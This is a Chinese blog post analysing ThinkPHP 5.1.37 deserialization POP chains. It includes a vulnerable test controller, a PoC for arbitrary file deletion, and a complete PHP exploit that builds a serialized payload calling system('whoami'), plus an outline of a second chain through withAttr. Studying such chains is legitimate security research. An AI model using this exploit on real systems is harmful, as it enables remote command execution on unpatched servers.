WEB

WEB安全

漏洞复现

CTF

常用工具

实战

代码审计

Javaweb

后渗透

内网渗透

免杀

进程注入

权限提升

漏洞复现

靶机

vulnstack

vulnhub

Root-Me

编程语言

java

逆向

PE

逆向学习

HEVD

PWN

CTF

heap

Windows内核学习

其它

关于博客

面试

杂谈

thinkphp 5.1.X反序列化

0x01 前置知识

在之前的文章里面写了一篇php反序列化入门,后面就一直没看相关漏洞了,这次准备重新学习一下

了解5.1.X的反序列化需要先知道2个魔术方法

__toString()

官方解释为一个类被当成字符串时应怎样回应

个人理解就是把对象当作字符串处理时触发的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class test {
public function __toString()
{
echo "__toString\n";
return "__toString";
// TODO: Implement __toString() method.
}

}

$test = new test();
$a = "object".$test;
//__toString

输出,拼接一些的操作都可以触发

__toString的返回值最好为string,不然会报fatal,不过不影响运行

__call()

官方解释为在对象中调用一个不可访问方法时,__call() 会被调用。

然后看看代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class test {

public function __call($name, $arguments)
{
echo "__call";
return 0;
// TODO: Implement __call() method.
}
}

$test = new test();
$test->aa();
//__call

__call有2个参数,$name和$arguments

$name为调用函数的名称,$arguments为调用函数的参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
class test {
public function __call($name, $arguments)
{
var_dump($name);
var_dump($arguments);
echo "__call";
return 0;
// TODO: Implement __call() method.
}


}

$test = new test();
$test->aa("aa",2);
/*
string(2) "aa"
array(2) {
[0] =>
string(2) "aa"
[1] =>
int(2)
}
__call
*/

函数名为字符串,参数如果1个以上以数组返回

0x02 相关配置

首先需要下载tp5版本,这次使用tp5.1.37

1
2
3
4
5
composer create-project --prefer-dist topthink/think tp5137
cd tp5137
//默认下载最新版本,修改composer.json里的版本
//打开后将"topthink/framework": "5.1.*"修改为"topthink/framework": "5.1.37"
composer update

修改\application\index\controller\Index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
namespace app\index\controller;

class Index
{
public function index()
{
$u = unserialize($_GET['u']);
return 'poc';

}

public function hello($name = 'ThinkPHP5')
{
return 'hello,' . $name;
}
}

写一个有反序列化方法的路由就可以测试了

下面来看反序列化的链子

0x03 POP链一

在入门的文章里面说过,反序列化出来的类销毁时会触发__destruct方法

在反序列化时会触发__wakeup方法

所以链子的入口可以往这些地方找,当然tp5.1的链子大佬们都已经找好了,跟着学习一下就好了

该链子的入口在think\process\pipes\Windows.php的Windows类的__destruct方法

看一下removeFiles方法

$this->files是一个可控的数组,该函数会先判断文件是否存在,如果存在使用unlink删除

这里就出现了一个任意文件删除的漏洞,可以先写一个简单的poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
namespace think\process\pipes{
class Pipes{}

class Windows extends Pipes
{
private $files = ["test.txt"];

}
}

namespace {
$a = new think\process\pipes\Windows();
echo urlencode(serialize($a));
}

打出该poc就可以删除指定的文件了

当然这样是不够的,继续往下看

file_exists函数是可以触发__toString的

所以在这里传一个有__toString方法的类就能继续下去了

下一个点在think\model\concern\Conversion.php

该段代码里有可以利用的__toString方法

可是向上翻会发现最开头是

1
trait Conversion

显然这不是一个类,trait感觉有点像一个组件,比如两个类有一些相同的函数,就可以把这些相同的函数都调出来用trait来写,然后在类中只需要use即可

这里需要去找使用了Conversion的类,可以全局搜索Conversion

可以找到Model类使用了Conversion,可是Model是一个抽象类也是不能实例化的,继续找继承该类的函数

找到\thinkphp\library\think\model\Pivot.php的Pivot是继承Model的

找到该类后先回去看__toString里的函数怎么走

直接调用了toJson方法

toJson调用了toArray

toArray

继续看toArray

上面有3个foreach,循环的数组还是都是可控的,不过这里用不到,重点是$this->append

先判断该值是否为空,然后循环该数组,键为$key,值为$name

下一个判断需要$name为数组,所以写exp的时候$this->append需要写成这样

1
$this->append = ["aaa"=>["aaa"]];

继续往下走碰到getRelation函数用来处理$key变量

如果要走进下面的判断$relation的值需要为null

看getRelation函数随便写一个值都是会返回null的,所以在这里$key没有影响

继续向下看如果$relation为null,会用$this->getAttr函数再给$relation找一个值,这个值很重要,因为下面的语句在$relation调用visible函数

$this->getAttr

这里多写几句,点getAttr会发现跳到了Attribute.php

向上翻会发现这也是trait,往上看Model类use的图片会发现也使用了Attribute,所以这里都是通的

此时这里的$this是Pivot对象,在写exp的时候虽然不能实例化抽象类,还是可以控制抽象类内部的属性的

可能单独写在这里会有点迷惑,后面看到exp可能就清晰了

继续往下写

函数的第一个参数还是$key,后一个参数默认为null

又走到了$this->getData里面,继续看这个函数

$this->getData

array_key_exists作用为检查数组里是否有指定的键名或索引

意思就是第二个参数的数组里如果有第一个参数当作键的元素,返回true

这里的$this->data也是可控的,如果按照上面的$this->append

此时的$name=”aaa”,$this->data需要一个键为”aaa”的元素,取出该元素的值返回

至于这个元素的值需要是什么可以先往下看

这段结束了回到$this->getAttr

$fieldName和$method不需要管

后面的判断都是属性,都没有设置肯定走不了不用管

直接返回$value

回到toArray

$relation用了visible函数,在全部代码里面没有对应的visible函数可以使用

这时候需要用到上面的__call的知识了

\thinkphp\library\think\Request.php里的Request类的__call方法能让链子继续走下去

Request类中没有visible函数,调用了之后会触发里面的__call方法

所以上面说的$this->data需要一个键为”aaa”的元素,该元素的值需要设置为Request对象

Request.__call

$method=”visible”

$args=array(0 => “aaa”)

要走进判断需要$this->hook有一个键为visible的元素

array_unshift将$this存到$args数组的最前面

虽然下面有call_user_func_array,可是第二个参数不可控,所以还得找找

这次使用Request类中的isAjax函数,$this->hook需要这样写

1
2
$this->hook = ["visible"=>[$this,"isAjax"]];
//需要加上$this不然找不到isAjax函数

$this->isAjax

这里没啥需要看到的直接看$this->param函数就行

$this->param

上面的判断对结果没有影响就收起来了

继续看$this->input

该函数第一个参数是$this->param可控的

$this->input

该函数为最后触发命令执行的函数,贴代码详细看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
    public function input($data = [], $name = '', $default = null, $filter = '')
{
//$name=$this->config['var_ajax'],不为false不会直接返回
//$this->config['var_ajax']="_ajax"
if (false === $name) {
// 获取原始数据
return $data;
}
//转换为字符串
$name = (string) $name;
if ('' != $name) {
//$name不为空走入
// 解析name
//$name没有'/'
if (strpos($name, '/')) {
list($name, $type) = explode('/', $name);
}
//重新修改了$data值,这里需要看看
/*
protected function getData(array $data, $name)
{
这里的$data=$this->param,$name="_ajax"
foreach (explode('.', $name) as $val) {
//看$name里有无.用来切割
if (isset($data[$val])) {
//如果$data数组里存在键为$val的值,取出后返回,这里$name的值_ajax没有点所以$val就是_ajax
$data = $data[$val];
//这里的$data=$this->param["_ajax"]
} else {
return;
}
}
return $data;
}
*/
$data = $this->getData($data, $name);
//这里的$data就是$data=$this->param["_ajax"],先不管里面的值该写什么继续往下看
if (is_null($data)) {
return $default;
}

if (is_object($data)) {
return $data;
}
//上面的判断都是直接返回了,所以$data不能是null和object
}

// 解析过滤器
//该函数来确定$filter的值,也需要来看看
/*
protected function getFilter($filter, $default)
{
往上看发现$filter=''
if (is_null($filter)) {
$filter = [];
} else {
走到这里
$filter = $filter ?: $this->filter;
这里的意思是如果$filter为true就返回$filter,如果为false就返回$this->filter
这里空所以是false,返回$this->filter,这时候$filter就可控了
如果是字符串,字符串没有'/'走进下面的判断
if (is_string($filter) && false === strpos($filter, '/')) {
$filter = explode(',', $filter);
用,切割成数组
} else {
不符合条件直接转换成数组
$filter = (array) $filter;
}
}

$filter[] = $default;
在$filter数组添加$default,这里$default为null值

return $filter;
返回$filter
}
*/
$filter = $this->getFilter($filter, $default);
//$filter到这里也是可控的,继续往下看
if (is_array($data)) {
//先判断$data是否为数组吗,$this->param["_ajax"]的值要为数组
//使用回调函数调用$this->filterValue,漏洞在该函数触发
//了解一下array_walk_recursive
//三个参数第一个参数为数组
//第二个参数为callback,第一个参数的值为对应该回调函数的第一个参数,第一个参数的键对应回调函数的第二个参数
//第三个参数为可选参数,对应回调函数的第三个参数
//看一下filterValue
array_walk_recursive($data, [$this, 'filterValue'], $filter);
//后面的就不用看了rce到这里结束了
if (version_compare(PHP_VERSION, '7.1.0', '<')) {
// 恢复PHP版本低于 7.1 时 array_walk_recursive 中消耗的内部指针
$this->arrayReset($data);
}
} else {
$this->filterValue($data, $name, $filter);
}

if (isset($type) && $data !== $default) {
// 强制类型转换
$this->typeCast($data, $type);
}

return $data;
}

filterValue

弹出$filters数组的最后一个参数

遍历$filters内的元素

is_callable检查filters是否为可使用的函数

call_user_func调用函数和参数

1
2
3
4
$value = call_user_func($filter, $value);
//在这里($filter和$value都是可控的
//$filter为$this->filter内的元素,$value为$this->param["_ajax"]的值
//触发rce

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
<?php

namespace think{

class Request
{
protected $hook = [];
protected $param = [];
protected $filter;

function __construct(){
$this->hook = ["visible"=>[$this,"isAjax"]];
//指定$this->isAjax
$this->param = ["_ajax"=>["whoami"]];
//_ajax的值需要是数组过判断,该数组写全为[0 => "whoami"],array_walk_recursive取数组的值为第一个参数也就是$value
$this->filter = ["system"=>"system"];
//$this->filter直接写需要调用的函数,foreach取出值后到call_user_func当作函数调用
//最后实现call_user_func("system", "whoami");
}
}
abstract class Model{

protected $append = [];
private $data = [];
function __construct(){
$this->append = ["aaa"=>["aaa"]];
//保证$this->append不为空
$this->data = ["aaa"=> new Request()];
//$this->data的键和$this->append的键相同
}
}
}

namespace think\model{
use think\Model;
//写一个空的Pivot类,因为上面提到的那些属性都是在Model类里的,这里不需要填任何东西
class Pivot extends Model{

}
}


namespace think\process\pipes{
use think\model\Pivot;
//使用指定命名空间的类

class Pipes{}
//Windows类要继承Pipes,放一个空的

class Windows extends Pipes
{
private $files = [];
function __construct(){
$this->files = [new Pivot()];
//使用构造函数将new Pivot()存入$this->files中
//直接private $files = [new Pivot()];会报错
}
}}

namespace {
$a = new think\process\pipes\Windows();
echo urlencode(serialize($a));
//反序列化的exp可以至下而上来看
}

这是完整的调用栈

看了别的师傅的exp发现把$this->config[‘var_ajax’]也指定了

这样也好万一这$this->config[‘var_ajax’]的默认参数被修改了也可以打通

0x04 POP链二

走到toArray的步骤是一样的

选择第三个的foreach走到getAttr

这里的$key值是$data里面的键,再往上看会发现$data也是由$this->data和$this->relation合并来的

再来看getAttr

走到getData的相当于取出了自己的值

在前面的链子中没有设置$this->withAttr直接跳过了判断

可以看到进入判断后最后一行函数的参数都可控

1
2
3
4
5
6
7
8
9
10
11
$value    = $this->getData($name);
//上次返回了对象,这次返回whoami字符串

$fieldName = Loader::parseName($name);
//这是个转换命名格式的函数,详细不看了,在这次利用中就当作输入什么字符串就输出什么字符串,假设这里输system返回system

//指定$this->withAttrs=["system" => "system"]
//$closure = $this->withAttrs[$fieldName]
//$closure="system"
//下面的函数就等于system($value, $this->data)
//$value和$this->data都可控,实现RCE

调用栈

0x05 参考文章

https://xz.aliyun.com/t/10881